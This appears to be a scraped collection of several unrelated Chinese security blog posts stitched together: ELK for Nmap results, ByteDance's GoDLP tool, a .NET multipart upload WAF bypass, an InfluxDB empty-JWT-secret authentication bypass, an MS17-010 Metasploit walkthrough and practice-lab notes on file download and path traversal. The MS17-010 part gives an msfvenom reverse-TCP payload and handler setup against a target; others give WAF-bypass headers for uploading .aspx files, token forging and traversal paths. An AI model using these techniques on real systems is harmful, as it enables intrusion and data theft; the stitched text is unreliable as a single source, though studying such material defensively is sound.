# 利用ELK协助安全性攻击的数据分析
|
##### 译文声明
本文是翻译文章，文章来源：marcolancini.it
原文地址：<https://www.marcolancini.it/2018/blog-elk-for-nmap/>
译文仅供参考，具体内容表达以及含义原文为准。
你是否曾经进行过网络渗透测试，其范围如此之大，以至于最终会得到包含Nmap扫描结果在内的数十个文件，而每个文件又包含多个主机？
如果答案是肯定的，那你应该会对这篇博文感兴趣。
以下是我最近进行的一个工作，旨在找到一种方法来对渗透测试的结果进行分类，同时实现团队成员之间的并发协作。
我们将会看到，在解析和分析数据时，使用传统的“防御性”工具进行攻击性安全数据分析比传统的grep更具优势。
最后，这个工程的所有源代码大家可以在github上下载，我也希望这能够给后面将和我有一个需求的老哥们有所帮助：<https://github.com/marco-lancini/docker_offensive_elk>.
## 当前所能选择的
如果你还在阅读这篇文章，说明你想要摒弃原来基于grep的方法，但是我们有什么替代品吗？
我首先浏览了我一直忽略的东西：Nmap HTML报告。
我不知道有多少人知道并实际使用它，但确实可以从Nmap获取XML输出文件并将其传递给XML处理器（如xsltproc），将其转换为HTML文件，如下图所示：
如果对此感兴趣，可以在Nmap网站上找到获取此信息的完整流程。 但是，我认为这种方法有一些缺陷。
首先，除非使用—webxml开关启动Nmap，否则必须抛出每个输出文件以替换XSL样式表引用，以使其指向当前计算机上nmap.xsl文件的确切位置。
其次，更重要的是，这没有扩展。
放弃了HTML的办法后，我想起来我的前同事Vincent Yiu的一篇博客，利用Splunk进行攻击性操作。
这是一个有趣的想法，因为我们越来越多地看到人们也使用所谓的“防御”工具进行攻击。
Splunk绝对不适合我（因为我没有license），但经过一些研究后我终于偶然发现了这篇博客文章：“[Nmap + Logstash to Gain
Insight Into Your Network](https://qbox.io/blog/how-to-index-nmap-port-scan-results-into-elasticsearchUsing)”。
我之前听说过ELK（下面有更多内容介绍ELK），但我从未真正了解过它，可能是因为我把它归类为主要由SOC分析师使用的“防御”工具。
而它引起我注意的是上面的博客文章解释了如何：
“直接将Nmap扫描结果导入Elasticsearch，然后您可以使用Kibana将其可视化”。
## ELK Stack的介绍
那么，ELK Stack是什么？ “ELK”是三个开源项目的首字母缩写：Elasticsearch，Logstash和Kibana。
Elasticsearch是一个搜索和分析引擎。
Logstash是一个服务器端数据处理管道，它同时从多个源中提取数据，对其进行转换，然后将其发送到像Elasticsearch这样的“存储”。
Kibana允许用户使用Elasticsearch中的图表和图形可视化数据。
我不会详细解释这个堆栈的不同组件，但对于有兴趣的人我强烈推荐 “[The Complete Guide to the ELK
Stack](https://logz.io/learn/complete-guide-elk-stack/)”，它给出了堆栈及其三个主要组件的非常好的概述（可以跳过“安装ELK”部分，因为我们将采取不同的方法）。
我感兴趣的部分是Elasticsearch如何不仅可以用于检测（防御），还可以用于进攻。
## 安装
以下是一个完整的演示，一直到最后安装成功。对这个不感兴趣的同学可以直接跳到“操作数据”部分。
首先我们将使用由[@deviantony](https://github.com/deviantony
"@deviantony")完成的一个很棒的存储库，这将允许我们在几秒钟内启动完整的ELK堆栈，这要归功于docker-compose：
克隆存储库后，我们可以从docker-compose.yml文件中看到将启动三个服务。 这是修改后的docker-compose.yml文件，我在其中添加了容器名称（为了清楚起见）和一种Elasticsearch存储数据的方式，即使在删除其容器之后，通过在主机上安装卷来保存数据（./_data/elasticsearch:/USR/共享/
elasticsearch/数据）：
docker-elk ❯ cat docker-compose.yml
version: ‘2’
services:
# ------------------------------------------------------------------- # ELASTICSEARCH
# ------------------------------------------------------------------- elasticsearch:
container_name: elk_elasticsearch
build: elasticsearch/
volumes:
- ./elasticsearch/config/elasticsearch.yml: /usr/share/elasticsearch/config/elasticsearch.yml:ro
- ./_data/elasticsearch:/usr/share/elasticsearch/data
ports:
- "9200:9200"
- "9300:9300"
environment:
ES_JAVA_OPTS: "-Xmx256m -Xms256m"
networks:
- elk
# ------------------------------------------------------------------- # LOGSTASH
# ------------------------------------------------------------------- logstash:
container_name: elk_logstash
build: logstash/
volumes:
- ./logstash/config/logstash.yml:/usr/share/logstash/config/logstash.yml:ro
- ./logstash/pipeline:/usr/share/logstash/pipeline:ro
ports:
- "5000:5000"
environment:
LS_JAVA_OPTS: "-Xmx256m -Xms256m"
networks:
- elk
depends_on:
- elasticsearch
# ------------------------------------------------------------------- # KIBANA
# ------------------------------------------------------------------- kibana:
container_name: elk_kibana
build: kibana/
volumes:
- ./kibana/config/:/usr/share/kibana/config:ro
ports:
- "5601:5601"
networks:
- elk
depends_on:
- elasticsearch
networks:
elk:
driver: bridge
默认情况下，堆栈开放以下端口：
5000：Logstash TCP输入
9200：Elasticsearch HTTP
9300：Elasticsearch TCP传输
5601：Kibana
用几秒钟时间来安装Kibana，然后在web页面上访问它：<http://localhost:5601>.
### 准备Elasticsearch以获取Nmap结果
对于一个完整的ELK新手来说，这是一个挑战，直到我找到以下帖子：“[How to Index NMAP Port Scan Results into
Elasticsearch](https://qbox.io/blog/how-to-index-nmap-port-scan-results-into-elasticsearch)
”。 这不是一个完整的解决方案，而是一个很好的起点。 让我们从那里开始并以此为基础。
首先，我们需要Logstash Nmap编解码器插件。 Logstash编解码器简单地提供了一种指定原始数据应如何解码的方法，而不管源是什么。
这意味着我们可以使用Nmap编解码器从各种输入中读取Nmap XML。 在将数据传递给Nmap编解码器之前，我们可以从消息队列或通过syslog读取它。
幸运的是，添加它就像修改位于logstash / Dockerfile的Logstash Dockerfile一样简单：
docker-elk ❯ cat logstash/Dockerfile
# https://github.com/elastic/logstash-docker
FROM docker.elastic.co/logstash/logstash-oss:6.3.0
# Add your logstash plugins setup here
# Example: RUN logstash-plugin install logstash-filter-json
RUN logstash-plugin install logstash-codec-nmap
接下来，要将其放入Elasticsearch，我们需要创建一个映射。 可以从Logstash Nmap编解码器的Github存储库获得映射模板。
我们可以下载它并将其放在logstash / pipeline / elasticsearch_nmap_template.json中：
最后，我们需要修改位于logstash / pipeline /
logstash.conf的logstash配置文件，以便为新的Nmap插件添加过滤器和输出选项：
### 准备摄取者服务
我们将使用修改后的VulntoES版本来获取结果并将它们导入Elasticsearch。
为了做到这一点，我创建了一个新的文件夹摄取器，用于实际摄取数据的新服务。
在上面的清单中，文件夹摄取器包含：
• VulntoES，原始脚本的修改版本，修复了一些解析错误
• 脚本提取将为放置在容器的/ data文件夹中的每个XML文件运行VulntoES.py（更多内容见下文）
• Dockerfile将修改后的VulntoES导入到python：2.7-stretch图像中
我们现在只需要将这个新容器添加到docker-compose.yml文件中：
请注意我们如何在路径/ data /下的容器中映射本地文件夹./_data/nmap。 我们将使用此“共享”文件夹来传递Nmap结果。
在所有这些修改之后，这就是您的项目文件夹的样子：
完成后，请确保使用docker-compose build命令重建图像。
### 创建索引
最后一步是创建一个索引，用于将数据索引到：
1、使用curl创建nmap-vuln-to-es索引：
> curl -XPUT ‘localhost:9200/nmap-vuln-to-es’
2、在浏览器中打开Kibana（http：// localhost：5601），您将看到以下屏幕：
3、插入nmap *作为索引模式，然后按“下一步”：
选择“I don’t want to use the Time Filter”, 然后点击 “Create Index Pattern”:
## 操作数据
Elk正确配置完后，我们可以用它来玩玩处理数据了。
### 获取Nmap结果
为了能够获取我们的Nmap扫描，我们必须以XML格式的报告（-oX）输出结果，该报告可以由Elasticsearch解析。
完成扫描后，将报告放在./_data/nmap/文件夹中并运行摄取器：
### 分析数据
现在我们已经导入了一些数据，现在是时候开始研究一下Kibana的功能了。
“dicover”视图将索引中的所有数据显示为文档表，并允许以交互方式浏览数据：我们可以访问与所选索引模式匹配的每个索引中的每个文档。
你可以提交搜索查询，过滤搜索结果以及查看文档数据。 还可以查看与搜索查询匹配的文档数量并获取字段值统计信息。
通过过滤（例如，通过开放端口或服务）来对目标进行分类是很好的。
相反，“Dashboard”视图显示可视化和搜索的集合。 您可以排版，调整大小和编辑仪表板内容，然后保存仪表板以便共享。 这可用于创建高度自定义的数据概览。
仪表板本身是交互式的：您可以应用过滤器来查看实时更新的可视化以反映查询的内容（在下面的示例中，我按端口22过滤）。
对这个感兴趣的同学，我将我的示例仪表板导出到一个易于重新导入的json文件中：
• <https://raw.githubusercontent.com/marco-lancini/docker_offensive_elk/master/kibana/dashboard.json>
## 结论
传统的“防御性”工具可以有效地用于攻击性安全数据分析，帮助您的团队协作并对扫描结果进行分类。
特别的，Elasticsearch提供了聚合不同数据源的数量的机会，使用统一的接口进行查询，目的是从大量未分类的数据中提取可操作的知识。
审核人：yiwang 编辑：边边 | 社区文章 |
# 源海拾贝 | 字节安全团队自研敏感信息保护方案 GoDLP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 为什么要自研DLP
随着信息技术的飞速发展，互联网已成为日常办公、通讯交流和协作互动的必备工具和途径。与此同时，随着数据经济的大规模增长，也频频引发数据泄露、数据滥用等严重数据安全事件。
作为拥有海量数据和信息的字节跳动来说，数据的存储安全和传输安全有着更高的要求。外加字节的业务模型之多、脱敏需求复杂，当前DLP产品在敏感信息的识别规则和高效率脱敏处理上无法达到需求。
为了更好保障字节跳动旗下的数据安全和隐私安全，字节跳动安全团队自主研发了一套敏感数据保护方案——GoDLP。作为字节跳动在数据脱敏保护方向成功的实践案例，字节安全团队希望用开源的方式向大家分享我们的研究成果，与行业一同成长。
## 字节的DLP是怎样的？
### GoDLP的介绍
GoDLP 提供了一系列针对敏感数据的识别和处置方案， 其中包括敏感数据识别算法，数据脱敏处理方式，业务自定义的配置选项和海量数据处理能力。 GoDLP
能够应用多种隐私合规标准，对原始数据进行分级打标、判断敏感级别和实施相应的脱敏处理。
### GoDLP的能力如何？
GoDLP 能够广泛支持结构化（JSON数据、KV数据、golang map）和非结构化数据（多语言字符串）。
1、可实现敏感数据自动发现
* GoDLP 内置多种敏感数据识别规则，可覆盖市面 80%以上识别规则，最大程度识别敏感数据
2、灵活的敏感数据脱敏处理
* GoDLP 支持多种脱敏算法，用户可自行根据需求进行脱敏处理
3、业务自定义配置选项
* 除默认的敏感信息识别和处理规则外，业务可根据实际情况，配置自定义的 YAML 规则，GoDLP 能够根据传入的配置选项，完成相应的数据处理任务。
## GoDLP 的性能表现
下方数据是在开启全部敏感数据类型情况下的结果：
* 针对 1K 的文件，用时需 4.1 毫秒，占用 128.6k 的内存
* 1M 的文件，用时为 4.1s，内存占用 118.6MB
序号 | 文件大小 | 执行时间 | 内存占用
---|---|---|---
1 | 1K | 4.1ms | 1128.6KB
2 | 10K | 41.4ms | 1257.4KB
3 | 100K | 406.9ms | 12.3MB
4 | 1M | 4.1s | 118.6MB
> 测试环境：8
> 核虚拟机，Linux，amd64，Intel(R)Xeon(R)[[email protected]](mailto:[email protected])；代码版本：v2.0.0
## GoDLP 在字节的实践
当前 GoDLP 已在字节跳动进行了丰富的实践。已接入的业务线涵盖抖音、电商、飞书、火山引擎、云安全、财经、教育、游戏等诸多业务线。
## 如何使用 GoDLP
> git 开源项目地址：<https://github.com/bytedance/godlp>
第一步，使用`go get` 命令安装 godlp 模块。
go get github.com/bytedance/godlp@latest
第二步，参考 README 中的 API 文档进行敏感数据操作。
如下代码会对字符串进行脱敏，更详细 API 例子可以参考源代码中的 mainrun/mainrun.go 文件。
package main
import (
"fmt"
dlp "github.com/bytedance/godlp"
)
func dlpDemo() {
caller := "replace.your.caller"
if eng, err := dlp.NewEngine(caller); err == nil {
eng.ApplyConfigDefault()
fmt.Printf("DLP %s Demo:\n\n", eng.GetVersion())
inStr := `我的邮件是[email protected],
18612341234是我的电话
你家住在哪里啊? 我家住在北京市海淀区北三环西路43号,
mac地址 06-06-06-aa-bb-cc
收件人：张真人 手机号码：13900000000`
if outStr, _, err := eng.Deidentify(inStr); err == nil {
fmt.Printf("\t1. Deidentify( inStr: %s )\n", inStr)
fmt.Printf("\toutStr: %s\n", outStr)
//eng.ShowResults(results)
fmt.Println()
}
eng.Close()
} else {
fmt.Println("[dlp] NewEngine error: ", err.Error())
}
}
func main() {
dlpDemo()
}
第三步，编译运行，会获得如下效果。
% go run main.go
DLP v1.2.15 Demo:
1. Deidentify( inStr: 我的邮件是[email protected],
18612341234是我的电话
你家住在哪里啊? 我家住在北京市海淀区北三环西路43号,
mac地址 06-06-06-aa-bb-cc
收件人：张真人 手机号码：13900000000 )
outStr: 我的邮件是a***@********,
186******34是我的电话
你家住在哪里啊? 我家住在北京市海淀区北三环西路**号淀区北三环西路**号,
mac地址 06-06-06-**-**-**
收件人：张****** 手机号码：139******00
## 后续计划
GoDLP 会长期维护更新，欢迎各位同行一起沟通交流。
## 感谢与交流
GoDLP 项目从立项开始，一路走来，离不开其中辛苦付出的开发同学们，这里向为 GoDLP 写下代码的字节跳动内部同学，致以最诚挚的感谢。
欢迎大家通过 GitHub 或飞书扫码加入字节官方 GoDLP 交流群，进行后续的交流和反馈。 | 社区文章 |
**作者：Y4er**
**原文链接：<https://y4er.com/post/fileupload-bypass-with-dotnet/>**
# 前言
看了赛博群的《从commons-fileupload源码看文件上传绕waf》，文末提到了dotnet也有这种问题，于是看了下dotnet的源码。
# 环境
public ActionResult Index()
{
if (Request.Files.Count>0)
{
var file = Request.Files[0];
var filename = file.FileName;
var contenttype = file.ContentType;
var reader = new StreamReader(file.InputStream);
var content = reader.ReadToEnd();
var filepath = Request.MapPath("~/ ") + filename;
file.SaveAs(filepath);
var resp = $" filename:{filename}\n save file path:{filepath}\n file content:{content}\n file content type:{contenttype}";
return Content(resp);
}
else
{
return Content("no file");
}
}
# 分析
对于上传的文件处理类位于`System.Web.HttpMultipartContentTemplateParser.Parse()`函数
internal static MultipartContentElement[] Parse(HttpRawUploadedContent data, int length, byte[] boundary, Encoding encoding)
{
HttpMultipartContentTemplateParser httpMultipartContentTemplateParser = new HttpMultipartContentTemplateParser(data, length, boundary, encoding);
httpMultipartContentTemplateParser.ParseIntoElementList();
return (MultipartContentElement[])httpMultipartContentTemplateParser._elements.ToArray(typeof(MultipartContentElement));
}
和Request.Files的层级调用关系如图
在FillInFilesCollection()中，content-type必须以multipart/form-data开头
这里和common fileupload的处理不同，然后进入this.GetMultipartContent()
1来处理boundary 2来解析上传文件流 主要看1
private byte[] GetMultipartBoundary()
{
string text = HttpRequest.GetAttributeFromHeader(this.ContentType, "boundary");
if (text == null)
{
return null;
}
text = "--" + text;
return Encoding.ASCII.GetBytes(text.ToCharArray());
}
GetAttributeFromHeader是关键函数
分号逗号和等于号作为分隔符，并根据字符集忽略一些空白字符
所以content-type可以这么写
Content-Type: multipart/form-data\u0085,;;,,,,,;;, boundary = aaa
接着看GetMultipartContent函数，解析完boundary和文件内容流之后，进入3 Parse函数也就是我们开篇提到的函数。
Parse函数就直接跟进了ParseIntoElementList函数
其中1 ParsePartHeaders是关键函数
能看到这个函数用来解析`Content-Disposition`和`Content-Type`，先以冒号分割拿到冒号后的部分
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
即`form-data; name="file"; filename="1.txt"`
再看ExtractValueFromContentDispositionHeader函数
string text = " " + name + "=";
int num = CultureInfo.InvariantCulture.CompareInfo.IndexOf(l, text, pos, CompareOptions.IgnoreCase);
if (num < 0)
{
text = ";" + name + "=";
num = CultureInfo.InvariantCulture.CompareInfo.IndexOf(l, text, pos, CompareOptions.IgnoreCase);
if (num < 0)
{
text = name + "=";
num = CultureInfo.InvariantCulture.CompareInfo.IndexOf(l, text, pos, CompareOptions.IgnoreCase);
}
}
会自动加上分号和等号，所以可以随便构造
Content-Disposition:\u0;;;;!@#$%^&*(;asdas\u0085d;085filename=11.aspx
Content-Disposition:filename=11.aspx
Content-Disposition:aaaaaaaaaaafilename=11.aspx;aaaaaaaaa
两个对比一下就知道
Content-Disposition: form-data; name="file";filename="11.aspx"
1. form-data字段可以不要
2. 可以随便在`filename`和`name`前随意填充字段
3. 但是`filename`和`name`后必须跟随等号，并且末尾有分号标识结束。
在ExtractValueFromContentDispositionHeader函数中会对取的值进行Trim()处理，也能用\u0085来处理
content-type同上
最后贴一张构造的图
# 写在文后
Request.Files[0]的name字段是忽略大小写的，Request.Files[0]和Request.Files[“file”]两种写法绕过时可能会出一些拿不到name的问题。
dotnet的特殊空白符如上文，但是位置一般只能放在两侧来用Trim去除。
**文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。**
* * * | 社区文章 |
## 起因
最近用 influxdb + grafna 整了一个可视化服务器监控平台，同时监控我的电脑和两台的云服务器的运行情况。
整个项目的架构非常简单：
信息采集器----->influxdb------>grafna
* 信息采集器是用go写的，部署到两个服务器上定时采集有关 cpu、磁盘、网络、内存的各项数据。
* influxdb 是一个时序性数据库，它提供了RESTful API，并起了一个web服务监听8086端口，来接收信息采集器采集到的的数据
* grafna是数据可视化平台，默认监听3000端口，提供web服务。
由于以前完全没有使用过的 influxdb，实在不怎么放心，索性研究了一下influxdb相关的漏洞。
## 经过
我百度了下，发现influxdb 有一个认证绕过漏洞，不少人写了复现文章。但是经过我个人的实践，发现文章中还是有不少谬误：
1. influxdb 默认的管理员用户并不是 admin，而是在于部署人员怎么设置。所以在利用时，可能需要枚举管理员用户名，才能成功伪造token。只要开启了身份认证选项，必须至少有一个管理员级别的用户
2. 这个认证绕过漏洞实际上是使用者的配置疏忽导致的（或者也可以说因为influxd 1.x 并没有遵循 secure by default原则，导致使用者如果使用默认配置，influxd就是不安全的。）influx 1.x 默认情况下不会开启身份效验， influxd 1.7.6 以下的版本，默认 使用 空字符串来生成jwt的消息认证码。我在shodan上搜索了一下，发现不少influxd ，都没有开启身份效验，任意用户都可以登录，更悲催的是有些使用者开启了身份认证，却忘记了修改jwt 秘钥为其他字符串。
3. 有些复现文章只是将怎么利用漏洞操作了一遍，并没有彻底分析清楚漏洞形成的原因，给出合理的修复建议。有些文章非常粗暴简单的说：升级版本为> 1.7.6。 其实完全没有必要升级版本， 只要修改配置文件中的 [http] shared-scret = “你的秘钥” 就可以了。想想看，如果你的influxdb 已经存了很多数据，要升级版本需要花费多大的代价。
下面先来谈谈这个漏洞如何利用吧。
### jwt token 秘钥泄漏的利用
这个漏洞涉及到jwt token的消息认证码的伪造。那么jwt token是怎么生成的？如何使用jwt token来实现登录功能呢？
一般情况下，web登录系统会这样设计：前端发送 username +password给后端，后端对username 和password
进行效验，如果数据库中确实有对应的数据，就向前端发送一个携带了消息认证码的 jwt token 令牌，证明用户登录成功。
以后用户请求需要鉴权的api时，只需要携带 该token令牌 给服务端即可。服务端
输入秘钥和消息，再次生成消息认证码进行比对，对token的合法性进行验证，看看是不是自己颁发的令牌。验证通过，则允许用户访问对应资源。
那么攻击者能不能伪造jwt token 呢？要解答这个问题，就得讨论下jwt的原理了：
一个 jwt 的token 由三部分组成：base64编码的头部.base64编码的体部.消息认证码。
头部的alg 定义的是生成消息认证码的算法，即采用 HMAC sha256 来生成消息认证码
。只要输入消息和秘钥给消息认证码算法，该算法就可以生成一个定长的消息认证码。发送时，将消息和消息认证码一起发送给接受者。
由于攻击者并不知道秘钥，所以一旦篡改了消息，一定无法生成一个相同的消息认证码。这这样就确保了token的不可否认性和完整性，同时因为只有服务端知道秘钥，所以token只有可能是服务端生成的。
读到这里，你肯定明白了：只要攻击者知道了 **秘钥** ，就可以伪造任意的消息认证码。
那么influxdb 1.x 是如何实现身份效验呢？攻击者能不能知道生成jwt的秘钥呢？
Influxdb 1.x 的版本，身份认证方式有三种：
1.get 或者post 传参 ?u=username&p=password
2.basic auth 身份认证
3.jwt token
influxdb 使用一个 共享秘钥（shared secret）去生成消息认证码，默认情况下，这个 shared secret
是空字符串。所以需要用户在配置文件中配置 自定义的秘钥。这个秘钥字符串越长，则越安全。
[http]
shared-secret = "my super secret pass phrase"
但是往往部署influxd 的人，只知道在配置文件开启身份效验(auth-enabled 设为true)，但是忘记了配置shared-secret
的值。甚至于很多主机根本没有开启身份效验（可以去shodan搜搜8086看）
这种配置疏忽，导致：即便开启了身份效验，但是由于攻击者已经知道了生成消息认证码的秘钥（空字符串），所以攻击者自己可以生成的合法的token，来通过身份效验。
由于服务端会读取 token payload 中username字段，在之后的业务逻辑中使用，所以：
* 如果一开始你就知道 influxd 中有那些用户，那么可以利用该漏洞，直接伪造身份访问敏感资源。
* 如果一开始你并不知道有哪些用户，那么可以利用该漏洞，枚举用户名，直到发现存在的用户名为止。（枚举思路：常用管理员用户列表+数据库名列表+其他信息收集得到的可能的用户名，数据库名列表可以通过调用influxd 的debug api 获取）
influxdb > 1.7.6 的版本,为了避免使用者犯这种 配置疏忽。只要配置文件中的shared-secret 的值为 空字符串，就关闭jwt
token的认证方式。
讲道理，influxdb 1.x 在secure by default 方面做得确实很糟糕，除了jwt token 的默认秘钥非常简单外。如果你忘记了打开
pprof-auth-enabled 选项。那么攻击者可以调用一些api 来收集很多有用的敏感信息。
### influxd 的信息搜集：
我大致总结了一下，有以下可用接口：
1. <http://ip:8086/debug/vars>
可以收集到数据库信息，influxd 可执行文件的路径，influxd 配置文件的路径，influxd 的启动时间，运行了多长时间等信息
2. <http://ip:8086/debug/requests>
跟踪其他 http客户端的 write 和query的请求
可以拿到和influxdb 通信的其他主机的ip地址，写入量，读取量的
3. <http://ip:8086/ping>
可以用来查询对应实例是否在线，以及influxd 的版本号（请求任何一个api 都可以，就在响应头的：x-influxdb-version 字段）
4. <http://ip:8086/ping/query?q=show> users
执行查询语句，这个api不单单可以用来查询数据，还可以执行新建管理员用户或者新建数据库等危险语句。（前提是你通过了身份效验）
### 自动化利用
工具是开发者渗透思路的体现。有了上面的思路，我们完全可以开发一个自动化的利用工具。
工具运行思路如下：
1.请求敏感api 进行信息收集，判断是否开启了身份认证，是否存在身份认证绕过漏洞。
2.如果没有开启身份认证，直接调用query api，创建一个管理员用户
3.如果开启了身份认证 且 存在token 伪造漏洞，就枚举用户名，尝试伪造token，调用query api，创建一个管理员用户。
工具地址：<https://gitee.com/nothing-is-nothing/biu-network-security-toolbox>
## 防御手段：
只要正确配置，基本上就可以防御的差不多了。
* 开启身份认证 auth-enabled = true
* 修改jwt share-screat 为一个很长字符串 （如果你的版本大于>1.7.6 也可以不修改）
* 开启 pprof-auth-enabled =true
开启后,攻击者要通过调用debug 相关的api获取敏感信息都需要身份认证
influx
中两种用户类型：管理员用户和普通用户，开启身份效验必须得有一个管理员用户。因为只有管理员级别的用户才拥有管理用户和管理数据库级别的权限。普通用户只能对某个表具有读写权限。
参考资料：
* influxd1.7 官方文档：<https://docs.influxdata.com/influxdb/v1.7/administration/authentication_and_authorization/>
其中详细介绍了 influxd 身份认证的机制，以及如何生成 jwt token
influxdb执行命令方式 <https://www.cnblogs.com/gongniue/p/12496866.html>
* influxdb1.7.5认证绕过漏洞复现 <https://www.freesion.com/article/5206948842/>
* <https://www.debian.org/security/2021/dsa-4823>
* 在线jwt token生成网站：<https://jwt.io/> | 社区文章 |
## 0x01 引言
2017年4月，网络最为轰动的事件无疑是TheShadowBrokers放出一大批NSA（美国国家安全局）“方程式组织” (Equation
Group)使用的极具破坏力的黑客工具，其中包括可以远程攻破全球约70%Windows机器的漏洞利用工具。一夜之间，全世界70%的windows服务器置于危险之中，国内使用windows服务器的高校、国企甚至政府机构也不能幸免。这对互联网无疑造成了一次大地震，因为已经很久没有出现过像MS17-010这种级别的漏洞了，因此就被大家笑语说出了“指哪打哪”这样一个事实。
受影响的Windows 版本包括Windows NT、Windows 2000、Windows XP、Windows 2003、Windows
Vista、Windows 7、Windows 8、Windows 2008、Windows 2008 R2、Windows Server 2012
SP0等。
## 0x02 Eternalblue（MS17-010）漏洞介绍
漏洞原理详见：[NSA Eternalblue SMB漏洞分析](http://www.4hou.com/technology/4387)
## 0x03 MS17-010漏洞的危害及修复措施
1.升级到微软提供支持的Windows版本，并安装补丁：<https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/>
2.安装相关的防护措施，如缓冲区溢出防御软件、杀毒软件。
3.无补丁的Windows版本，临时关闭135、137、445端口和3389远程登录。
## 0x04 移植MS17-010漏洞利用代码模块
Metasploit集合了大量的系统漏洞利用代码，但并不是拥有所有的漏洞代码，所以Metasploit有一个非常强大的功能，它允许使用者开发自己的漏洞模块，MS17-010的漏洞利用模块Metasploit虽然还没有集成，但是网络上已经有相应的渗透模块了，这些模块可能是用各种语言编写的，比如perl、python等，Metasploit支持各种不同语言编写的模块移植到其框架中，通过这种机制可以将各种现存的模块软件移植成为与Metasploit兼容的渗透模块。
当网络上Eternalblue漏洞烽烟四起，血流成河的时候，我在想为啥不把这个东西放到msf里去啊？现在外网服务器大部分都打补丁了，但是内网相对比较薄弱，打补丁的管理员肯定不会太多啊。那特么不就是内网一个大杀器么。正当我在构思代码要怎么撸的时候，瞄到了推特上一条消息。
还说什么，赶紧测试啊
Github：[要地址点我](https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/)
我那个激动啊，还看想毛线啊，赶紧看看人家怎么写的去测试啊！
首先我们把它克隆到我们本地
我们可以在里面修改一下一些默认的配置信息，（图片中标注的是默认文件地址）
修改完成后，我们将他放到metasploit的目录下供我们使用
（你想放哪里放哪里，这些都不重要，只要你记得住）
打开msf并重新加载全部文件
ok，加载完成后我们就可以读取到我们新添加进去的模块了
## 0x05 Metasploit下MS17-010漏洞提权实战利用
攻击机器kali：192.168.12.110
靶机win7 x32: 192.168.12.108
我们生成一个dll文件，是32位的系统就生成32位的dll，64位的系统就生成64位的系统，根据情况而定。
`msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.12.110 lport=4444
-f dll -o /root/.wine/drive_c/eternal11.dll`
打开msf，使用我们自己的模块
`use exploit/windows/smb/eternalblue_doublepulsar`
设置相关信息
`set RHOST 192.168.12.108`
我们需要设置payload来监听攻击成功后返回的shell
`use exploit/multi/handler`
`set lhost 192.168.12.110`
`set lport 4444`
`set PAYLOAD windows/meterpreter/reverse_tcp`
`exploit`
设置完成后
执行Exploit
我们成功获取到了一个meterpreter会话
看一下对方ip
`ifconfig`
这个时候，我们就可以干一些坏坏的事情了，比如说看看屏幕、键盘记录等等，我就截取个屏幕吧
`screenshot`
## 0x06 总结
这个漏洞刚出来的时候基本上可以通杀百分之七十的外网windows服务器。截止到这会，根据我的内网测试结果，可以通杀百分之九十的Windows内网服务器。
如若转载，请注明原文地址： <http://www.4hou.com/technology/4577.html> | 社区文章 |
# 7.Unsafe Filedownload
## 1.不安全的文件下载概述
不安全的文件下载概述
文件下载功能在很多web系统上都会出现，一般我们当点击下载链接，便会向后台发送一个下载请求，一般这个请求会包含一个需要下载的文件名称，后台在收到请求后
会开始执行下载代码，将该文件名对应的文件response给浏览器，从而完成下载。
如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话，则可能会引发不安全的文件下载漏洞。
此时如果
攻击者提交的不是一个程序预期的的文件名，而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。
从而导致后台敏感信息(密码文件、源代码等)被下载。
所以，在设计文件下载功能时，如果下载的目标文件是由前端传进来的，则一定要对传进来的文件进行安全考虑。 切记：所有与前端交互的数据都是不安全的，不能掉以轻心！
## 2.Unsafe Filedownload
点击球员名字，抓包查看数据包
修改filename的值为filename=../down_nba.php，然后通过repeater重发
Forward后，直接下载修改后的文件
查看下载后的文件
# 10.目录遍历
## 1.目录遍历漏洞概述
目录遍历漏洞概述
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量，从而让前端的功能便的更加灵活。
当用户发起一个前端的请求时，便会将请求的这个文件的值(比如文件名称)传递到后台，后台再执行其对应的文件。
在这个过程中，如果后台没有对前端传进来的值进行严格的安全考虑，则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。
从而导致后台服务器上其他目录的文件结果被遍历出来，形成目录遍历漏洞。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载，甚至文件包含漏洞有差不多的意思，是的，目录遍历漏洞形成的最主要的原因跟这两者一样，都是在功能设计中将要操作的文件使用变量的
方式传递给了后台，而又没有进行严格的安全考虑而造成的，只是出现的位置所展现的现象不一样，因此，这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url（比如：<http://xxxx/doc）列出了doc文件夹里面所有的文件，这种情况，我们成为敏感信息泄露。>
而并不归为目录遍历漏洞。
## 2.目录遍历
首先，点击链接进入，查看url参数
可以看出是通过title参数执行php文件来显示页面的
如果后端没有对用户的请求参数做严格校验，则用户可能通过过../../之类的目录跳转符，来造成路径穿越问题，从而达到访问网站目录下的任意文件的目的
修改url为/vul/dir/dir_list.php?title=../../../README.md
发现可以读取到文件内容
修改url为/vul/dir/dir_list.php?title=../dir.php，发现可以读取到文件内容
# 11.敏感信息泄露
## 1.敏感信息泄露概述
敏感信息泄露概述
由于后台人员的疏忽或者不当的设计，导致不应该被前端用户看到的数据被轻易的访问到。 比如：
\---通过访问url下的目录，可以直接列出目录下的文件列表;
\---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
\---前端的源码（html,css,js）里面包含了敏感信息，比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况，我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞，但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。
因此,在web应用的开发上，除了要进行安全的代码编写，也需要注意对敏感信息的合理处理。
## 2.I can see you abc
F12审查元素，通过查找，发现测试账号泄露lili/123456
输入lili/123456，登陆成功
观察登陆成功后的url为/vul/infoleak/abc.php
退出登录后，在登录页面直接访问改地址发现可以成功访问
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
